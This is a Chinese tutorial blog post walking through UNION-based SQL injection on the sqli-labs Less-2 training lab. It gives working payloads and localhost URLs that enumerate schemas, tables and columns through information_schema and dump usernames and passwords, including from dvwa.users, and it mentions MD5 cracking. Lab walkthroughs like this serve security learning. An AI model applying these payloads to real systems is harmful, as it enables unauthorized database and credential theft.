sqil-labs sql注入 LESS2联合注入教程

本文介绍了SQL注入的基本查询语句,如unionallselect用于合并查询结果,以及利用information_schema获取数据库、表名和字段名的方法。通过group_concat函数可以组合字段值,同时展示了针对不同数据库版本的查询示例,包括跨库查询和MD5解码的应用,强调了Web应用的安全性问题。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

先看一下最基础sql语句之后的都是在此添加函数达到注入效果

查询数据库内容常用语句

select * from users union all select user(),database(),version();

1.暴库:select group_concat(schema_name) from information_schema.schemata;

2.暴表1:select group_concat(table_name) from information_schema.tables where table_schema='security'; 加引号 暴表2:select table_name from information_schema.tables where table_schema='security' limit 3,1; 加引号

3.暴字段1:select group_concat(column_name) from information_schema.columns where table_name='users'schema='security'; 加引号 暴字段2:select column_name from information_schema.columns wheretable_name='users' and table_schema='security' limit 1,1;

4.暴字段值:select group_concat(username,0x3a,password) from security.users; //不加引号

Less -2

测试:

可判断为1.2.3

union select 1,2,3

查询数据库(高版本):

爆出所有数据库:

http://127.0.0.1:/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata

获取数据库名:

获取特定数据库:

查询数据库information_schema下指定的表名dvwa下的users

用户获取特定数据库表名:

http://127.0.0.1:/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' and table_schema = 'dvwa'

查询指定数据(dvwa中的user的数据):

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,user,password from dvwa.users

跨库注入需指向数据库名 dvwa.users

md5解码:

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值